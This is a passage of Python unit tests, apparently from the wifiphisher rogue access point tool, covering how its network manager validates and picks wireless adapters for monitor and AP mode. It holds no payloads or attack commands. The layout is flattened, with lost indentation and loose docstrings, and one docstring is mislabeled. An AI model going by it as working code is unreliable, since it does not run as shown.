with self.assertRaises(interfaces.InvalidInterfaceError):
self.network_manager.is_interface_valid(interface_name, 'monitor')
|
'Tests is_interface_valid when the adapter is required as monitor but
is managed by NetworkManager'
| def test_is_interface_valid_mode_monitor_is_managed_by_nm_error(self):
| interface_name = 'wlan0'
adapter = interfaces.NetworkAdapter(interface_name, 'CARD', '00:00:00:00:00:00')
adapter.is_managed_by_nm = True
adapter.has_monitor_mode = True
self.network_manager._name_to_object[interface_name] = adapter
with self.assertRaises(interfaces.InterfaceManagedByNetworkManagerError):
self.network_manager.is_interface_valid(interface_name, 'monitor')
|
'Tests is_interface_valid when the adapter is required as monitor and is not managed by
NetworkManager'
| def test_is_interface_valid_mode_monitor_is_managed_by_nm_true(self):
| interface_name = 'wlan0'
adapter = interfaces.NetworkAdapter(interface_name, 'CARD', '00:00:00:00:00:00')
adapter.is_managed_by_nm = False
adapter.has_monitor_mode = True
self.network_manager._name_to_object[interface_name] = adapter
actual = self.network_manager.is_interface_valid(interface_name, 'monitor')
message = 'Failed to validate an interface with monitor mode'
self.assertTrue(actual, message)
|
'Tests is_interface_valid when the adapter is required as AP but
is managed by NetworkManager'
| def test_is_interface_valid_mode_ap_is_managed_by_nm_error(self):
| interface_name = 'wlan0'
adapter = interfaces.NetworkAdapter(interface_name, 'CARD', '00:00:00:00:00:00')
adapter.is_managed_by_nm = True
adapter.has_ap_mode = True
self.network_manager._name_to_object[interface_name] = adapter
self.assertRaises(interfaces.InterfaceManagedByNetworkManagerError, self.network_manager.is_interface_valid, interface_name, 'AP')
|
'Tests is_interface_valid when the adapter is required as monitor and is not managed by
NetworkManager'
| def test_is_interface_valid_mode_ap_is_managed_by_nm_true(self):
| interface_name = 'wlan0'
adapter = interfaces.NetworkAdapter(interface_name, 'CARD', '00:00:00:00:00:00')
adapter.is_managed_by_nm = False
adapter.has_ap_mode = True
self.network_manager._name_to_object[interface_name] = adapter
actual = self.network_manager.is_interface_valid(interface_name, 'AP')
message = 'Failed to validate an interface with AP mode'
self.assertTrue(actual, message)
|
'Tests is_interface_valid when the adapter is internet mode'
| def test_is_interface_valid_mode_internet_is_managed_by_nm_true(self):
| interface_name = 'wlan0'
self.network_manager = interfaces.NetworkManager()
adapter = interfaces.NetworkAdapter(interface_name, 'CARD', '00:00:00:00:00:00')
adapter.is_managed_by_nm = True
self.network_manager._name_to_object[interface_name] = adapter
actual = self.network_manager.is_interface_valid(interface_name, 'internet')
message = 'Failed to validate an interface with internet mode'
self.assertTrue(actual, message)
|
'Test set_interface_mode method under normal conditions'
| @mock.patch('wifiphisher.common.interfaces.pyw')
def test_set_interface_mode_interface_none(self, pyric):
| interface_name = 'wlan0'
interface_object = 'Card Object'
mode = 'monitor'
adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address)
self.network_manager._name_to_object[interface_name] = adapter
self.network_manager.set_interface_mode(interface_name, mode)
pyric.down.assert_called_once_with(interface_object)
pyric.modeset.assert_called_once_with(interface_object, mode)
pyric.up.assert_called_once_with(interface_object)
|
'Tests get_interface method when no interface can be found'
| def test_get_interface_no_interface_error(self):
| with self.assertRaises(interfaces.InterfaceCantBeFoundError):
self.network_manager.get_interface(True)
|
'Tests get_interface method when no interface can be found
because interface is active'
| def test_get_interface_active_interface_error(self):
| interface_name = 'wlan0'
interface_object = 'Card Object'
adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address)
self.network_manager._name_to_object[interface_name] = adapter
self.network_manager._active.add(interface_name)
with self.assertRaises(interfaces.InterfaceCantBeFoundError):
self.network_manager.get_interface(has_monitor_mode=True)
|
'Tests get_interface method when interface with specified mode
can\'t be found'
| def test_get_interface_no_ap_available_error(self):
| interface_name = 'wlan0'
interface_object = 'Card Object'
adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address)
adapter.has_ap_mode = False
adapter.has_monitor_mode = False
self.network_manager._name_to_object[interface_name] = adapter
with self.assertRaises(interfaces.InterfaceCantBeFoundError):
self.network_manager.get_interface(True)
|
'Tests get_interface method when one interface supports AP
and monitor and the other supports only AP'
| def test_get_interface_1_ap_interface(self):
| interface_name_0 = 'wlan0'
interface_name_1 = 'wlan1'
interface_object = 'Card Object'
adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address)
adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address)
self.network_manager._name_to_object[interface_name_0] = adapter_0
self.network_manager._name_to_object[interface_name_1] = adapter_1
adapter_0.has_monitor_mode = True
adapter_0.has_ap_mode = True
adapter_1.has_ap_mode = True
expected = interface_name_1
actual = self.network_manager.get_interface(True, False)
self.assertEqual(expected, actual)
|
'Tests get_interface method when one interface supports AP
and monitor and the other supports only Monitor'
| def test_get_interface_1_mon_interface(self):
| interface_name_0 = 'wlan0'
interface_name_1 = 'wlan1'
interface_object = 'Card Object'
adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address)
adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address)
self.network_manager._name_to_object[interface_name_0] = adapter_0
self.network_manager._name_to_object[interface_name_1] = adapter_1
adapter_0.has_monitor_mode = True
adapter_0.has_ap_mode = True
adapter_1.has_monitor_mode = True
expected = interface_name_1
actual = self.network_manager.get_interface(False, True)
self.assertEqual(expected, actual)
|
'Tests get_interface method when interface with both AP and
monitor mode are given as input'
| def test_get_interface_1_ap_monitor_interface(self):
| interface_name = 'wlan0'
interface_object = 'Card Object'
adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address)
adapter.has_ap_mode = True
adapter.has_monitor_mode = True
self.network_manager._name_to_object[interface_name] = adapter
expected = interface_name
actual = self.network_manager.get_interface(True, True)
self.assertEqual(expected, actual)
|
'Tests get_interface method when interface with both AP and
monitor mode are given as input but the adapter is managed
by NetworkManager'
| def test_get_interface_1_ap_monitor_is_managed_by_nm_error(self):
| interface_name = 'wlan0'
interface_object = 'Card Object'
adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address)
adapter.has_ap_mode = True
adapter.has_monitor_mode = True
adapter.is_managed_by_nm = True
self.network_manager._name_to_object[interface_name] = adapter
self.assertRaises(interfaces.InterfaceManagedByNetworkManagerError, self.network_manager.get_interface, True, True)
|
'Tests get_interface method when 2 interfaces with both AP and
monitor mode are given as input but the adapters are both managed
by NetworkManager'
| def test_get_interface_2_ap_monitor_is_managed_by_nm_error(self):
| interface_name_0 = 'wlan0'
interface_name_1 = 'wlan1'
interface_object = 'Card Object'
adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address)
adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address)
self.network_manager._name_to_object[interface_name_0] = adapter_0
self.network_manager._name_to_object[interface_name_1] = adapter_1
adapter_0.has_monitor_mode = True
adapter_1.has_monitor_mode = True
adapter_0.has_ap_mode = True
adapter_1.has_ap_mode = True
adapter_0.is_managed_by_nm = True
adapter_1.is_managed_by_nm = True
self.assertRaises(interfaces.InterfaceManagedByNetworkManagerError, self.network_manager.get_interface, True, True)
|
'Test get_interface method get the correct interface when 1
card is managed and the other card is unmanaged by NetworkManager'
| def test_get_interface_2_ap_monitor_is_managed_by_nm_1_ap_mon_interface(self):
| interface_name_0 = 'wlan0'
interface_name_1 = 'wlan1'
interface_object = 'Card Object'
adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address)
adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address)
self.network_manager._name_to_object[interface_name_0] = adapter_0
self.network_manager._name_to_object[interface_name_1] = adapter_1
adapter_0.has_monitor_mode = True
adapter_1.has_monitor_mode = True
adapter_0.has_ap_mode = True
adapter_1.has_ap_mode = True
adapter_0.is_managed_by_nm = True
adapter_1.is_managed_by_nm = False
expected = interface_name_1
actual = self.network_manager.get_interface(True, True)
self.assertEqual(expected, actual)
|
'Tests get_interface_automatically method when no interface
is found'
| def test_get_interface_automatically_no_interface_error(self):
| with self.assertRaises(interfaces.InterfaceCantBeFoundError):
self.network_manager.get_interface_automatically()
|
'Tests get_interface_automatically method when two interfaces
are available but only support monitor mode'
| def test_get_interface_automatically_2_monitor_error(self):
| interface_name_0 = 'wlan0'
interface_name_1 = 'wlan1'
interface_object = 'Card Object'
adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address)
adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address)
adapter_0.has_monitor_mode = True
adapter_1.has_monitor_mode = True
self.network_manager._name_to_object[interface_name_0] = adapter_0
self.network_manager._name_to_object[interface_name_1] = adapter_1
with self.assertRaises(interfaces.InterfaceCantBeFoundError):
self.network_manager.get_interface_automatically()
|
'Tests get_interface_automatically method when two interfaces
are available but only support AP mode'
| def test_get_interface_automatically_2_ap_error(self):
| interface_name_0 = 'wlan0'
interface_name_1 = 'wlan1'
interface_object = 'Card Object'
adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address)
adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address)
adapter_0.has_ap_mode = True
adapter_1.has_ap_mode = True
self.network_manager._name_to_object[interface_name_0] = adapter_0
self.network_manager._name_to_object[interface_name_1] = adapter_1
with self.assertRaises(interfaces.InterfaceCantBeFoundError):
self.network_manager.get_interface_automatically()
|
'Tests get_interface_automatically method when 1 AP and 1
monitor interface are given as inputs'
| def test_get_interface_automatically_1_ap_1_mon_interfaces(self):
| interface_name_0 = 'wlan0'
interface_name_1 = 'wlan1'
interface_object = 'Card Object'
adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address)
adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address)
adapter_0.has_monitor_mode = True
adapter_1.has_ap_mode = True
self.network_manager._name_to_object[interface_name_0] = adapter_0
self.network_manager._name_to_object[interface_name_1] = adapter_1
expected = (interface_name_0, interface_name_1)
actual = self.network_manager.get_interface_automatically()
self.assertEqual(expected, actual)
|
'Tests get_interface_automatically method when 1 AP and monitor
and 1 monitor interface are given as inputs'
| def test_get_interface_automatically_1_ap_mon_1_mon_interfaces(self):
| interface_name_0 = 'wlan0'
interface_name_1 = 'wlan1'
interface_object = 'Card Object'
adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address)
adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address)
adapter_0.has_ap_mode = True
adapter_0.has_monitor_mode = True
adapter_1.has_ap_mode = True
self.network_manager._name_to_object[interface_name_0] = adapter_0
self.network_manager._name_to_object[interface_name_1] = adapter_1
expected = (interface_name_0, interface_name_1)
actual = self.network_manager.get_interface_automatically()
self.assertEqual(expected, actual)
|
'Tests get_interface_automatically method when 1 AP and 1
monitor and AP interface are given as inputs'
| def test_get_interface_automatically_1_ap_1_mon_ap_interfaces(self):
| interface_name_0 = 'wlan0'
interface_name_1 = 'wlan1'
interface_object = 'Card Object'
adapter_0 = interfaces.NetworkAdapter(interface_name_0, interface_object, self.mac_address)
adapter_1 = interfaces.NetworkAdapter(interface_name_1, interface_object, self.mac_address)
adapter_0.has_monitor_mode = True
adapter_1.has_ap_mode = True
adapter_1.has_monitor_mode = True
self.network_manager._name_to_object[interface_name_0] = adapter_0
self.network_manager._name_to_object[interface_name_1] = adapter_1
expected = (interface_name_0, interface_name_1)
actual = self.network_manager.get_interface_automatically()
self.assertEqual(expected, actual)
|
'Tests unblock_interface when the interface is blocked'
| @mock.patch('wifiphisher.common.interfaces.pyw')
def test_unblock_interface_is_blocked_none(self, pyric):
| interface_name = 'wlan0'
interface_object = 'Card Object'
adapter = interfaces.NetworkAdapter(interface_name, interface_object, self.mac_address)
self.network_manager._name_to_object[interface_name] = adapter
pyric.isblocked.return_value = True
self.network_manager.unblock_interface(interface_name)
pyric.unblock.assert_called_once_with(interface_object)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.